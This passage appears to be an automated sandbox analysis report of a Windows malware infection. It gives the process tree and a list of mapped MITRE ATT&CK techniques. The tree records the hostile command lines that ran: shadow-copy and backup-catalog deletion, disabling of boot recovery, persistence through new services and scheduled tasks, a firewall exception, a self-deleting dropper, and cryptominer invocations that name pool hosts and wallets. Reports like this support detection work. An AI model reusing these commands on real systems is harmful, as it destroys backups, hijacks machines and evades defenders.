        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff617ca9e70,0x7ff617ca9e80,0x7ff617ca9e90
        6⤵
        
        PID:9640
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=1752 /prefetch:8
        5⤵
        
        PID:4624
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1688 /prefetch:2
        5⤵
        
        PID:8000
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2472 /prefetch:1
        5⤵
        
        PID:10836
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2464 /prefetch:1
        5⤵
        
        PID:4800
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=2148 /prefetch:8
        5⤵
        
        PID:11192
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3184 /prefetch:2
        5⤵
        
        PID:7728
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=3264 /prefetch:8
        5⤵
        
        PID:9408
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=1868 /prefetch:8
        5⤵
        
        PID:7936
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=3676 /prefetch:8
        5⤵
        
        PID:5612
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=3656 /prefetch:8
        5⤵
        
        PID:6644
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1676,6527667139815353944,16106831938795919596,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw10852_1918647058" --mojo-platform-channel-handle=3632 /prefetch:8
        5⤵
        
        PID:9840
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_9CDB.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
    3⤵
    PID:10968

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:8952
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8972
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 8972 -s 624
    3⤵
    - Program crash
    PID:9032

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:8932
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{71f84b34-1a7f-5441-b23d-3d7821ee8130}\oemvista.inf" "9" "4d14a44ff" "000000000000016C" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:6988
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000170"
  2⤵
  PID:6688

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:8052

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:6620

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:9820

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:9884

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:6996
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:10560

C:\Users\Admin\AppData\Local\Temp\44C7.exe
C:\Users\Admin\AppData\Local\Temp\44C7.exe
1⤵
PID:2656

C:\Users\Admin\AppData\Local\Temp\46EB.exe
C:\Users\Admin\AppData\Local\Temp\46EB.exe
1⤵
PID:10072
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10072 -s 736
  2⤵
  - Program crash
  PID:7544
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10072 -s 744
  2⤵
  - Program crash
  PID:7216
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10072 -s 748
  2⤵
  - Program crash
  PID:9540
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10072 -s 804
  2⤵
  - Program crash
  PID:7280
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 10072 -s 860
  2⤵
  - Program crash
  PID:9992

C:\Users\Admin\AppData\Local\Temp\4F96.exe
C:\Users\Admin\AppData\Local\Temp\4F96.exe
1⤵
PID:1984

C:\Users\Admin\AppData\Local\Temp\5729.exe
C:\Users\Admin\AppData\Local\Temp\5729.exe
1⤵
PID:2436
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qmtnozff\
  2⤵
  PID:9448
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\udpvfawm.exe" C:\Windows\SysWOW64\qmtnozff\
  2⤵
  PID:5828
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create qmtnozff binPath= "C:\Windows\SysWOW64\qmtnozff\udpvfawm.exe /d\"C:\Users\Admin\AppData\Local\Temp\5729.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:4024
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description qmtnozff "wifi internet conection"
  2⤵
  PID:6548
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start qmtnozff
  2⤵
  PID:9816
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:3500

C:\Users\Admin\AppData\Local\Temp\614C.exe
C:\Users\Admin\AppData\Local\Temp\614C.exe
1⤵
PID:9456

C:\Users\Admin\AppData\Local\Temp\6E5C.exe
C:\Users\Admin\AppData\Local\Temp\6E5C.exe
1⤵
PID:4692

C:\Users\Admin\AppData\Local\Temp\8A23.exe
C:\Users\Admin\AppData\Local\Temp\8A23.exe
1⤵
PID:7324

C:\Users\Admin\AppData\Local\Temp\8D6F.exe
C:\Users\Admin\AppData\Local\Temp\8D6F.exe
1⤵
PID:10164
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe" -start
  2⤵
  PID:3288
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\taskeng.exe" -agent 0
    3⤵
    PID:10912
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
    3⤵
    PID:6164
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:11116
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:3204
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
    3⤵
    PID:10888
  - - C:\Windows\SysWOW64\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4440
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
    3⤵
    PID:7808
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:9232
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
    3⤵
    PID:8968
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
    3⤵
    PID:2656
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:11224
- - C:\Windows\SysWOW64\notepad.exe
    notepad.exe
    3⤵
    PID:11096
- C:\Windows\SysWOW64\notepad.exe
  notepad.exe
  2⤵
  PID:6648

C:\Users\Admin\AppData\Local\Temp\A473.exe
C:\Users\Admin\AppData\Local\Temp\A473.exe
1⤵
PID:6736
- C:\Users\Admin\Documents\Update.exe
  "C:\Users\Admin\Documents\Update.exe"
  2⤵
  PID:5420
- - C:\Users\Admin\AppData\Local\Temp\Red1_.exe
    "C:\Users\Admin\AppData\Local\Temp\Red1_.exe"
    3⤵
    PID:7548
- - C:\Users\Admin\AppData\Local\Temp\Clip_.exe
    "C:\Users\Admin\AppData\Local\Temp\Clip_.exe"
    3⤵
    PID:6896
- - C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\DriverUpdate.exe"
    3⤵
    PID:9056
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit
      4⤵
      PID:10512
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:8680
  - - C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe
      "C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"
      4⤵
      PID:4384
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"' & exit
        5⤵
        
        PID:9624
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WindowsSecurity" /tr '"C:\Users\Admin\AppData\Roaming\WindowsSecurity.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:4732
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        5⤵
        
        PID:10056
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=antivirus.windowsdefenderautoupdater.me:3333 --user=4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQuiWzFUXCscKHeTzpD --pass=x --cpu-max-threads-hint=30 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=3 --cinit-idle-cpu=90 --nicehash --cinit-stealth
        5⤵
        
        PID:10436
- - C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe
    "C:\Users\Admin\AppData\Local\Temp\UpdateCore.exe"
    3⤵
    - Executes dropped EXE
    PID:4544
- - C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\SteamUpdate.exe"
    3⤵
    PID:6736
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit
      4⤵
      PID:10580
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:10844
  - - C:\Users\Admin\AppData\Roaming\VideoDriver.exe
      "C:\Users\Admin\AppData\Roaming\VideoDriver.exe"
      4⤵
      PID:10860
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"' & exit
        5⤵
        
        PID:5696
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "VideoDriver" /tr '"C:\Users\Admin\AppData\Roaming\VideoDriver.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:6576
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        5⤵
        
        PID:8636
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\A473.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Users\Admin\AppData\Local\Temp\A473.exe"
  2⤵
  PID:5316
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 100
    3⤵
    - Runs ping.exe
    PID:7176
- - C:\Windows\SysWOW64\PING.EXE
    ping 1.1.1.1 -n 1 -w 900
    3⤵
    - Runs ping.exe
    PID:8340

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:496

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4692

C:\Windows\SysWOW64\qmtnozff\udpvfawm.exe
C:\Windows\SysWOW64\qmtnozff\udpvfawm.exe /d"C:\Users\Admin\AppData\Local\Temp\5729.exe"
1⤵
PID:6032
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:4668
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:10440

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7112

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5644

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:8656

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2984

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9552

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6536

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5976

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5024

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:9408

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6504

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious use of SetThreadContext
PID:2700

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7216

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6764

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10984

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5716

C:\Users\Admin\AppData\Roaming\ufjastd
C:\Users\Admin\AppData\Roaming\ufjastd
1⤵
PID:10980

C:\Users\Admin\AppData\Roaming\hhjastd
C:\Users\Admin\AppData\Roaming\hhjastd
1⤵
PID:7008

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:10340

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:7856

C:\Windows\system32\WerFault.exe
"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20210824-2122.dm
1⤵
PID:2000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery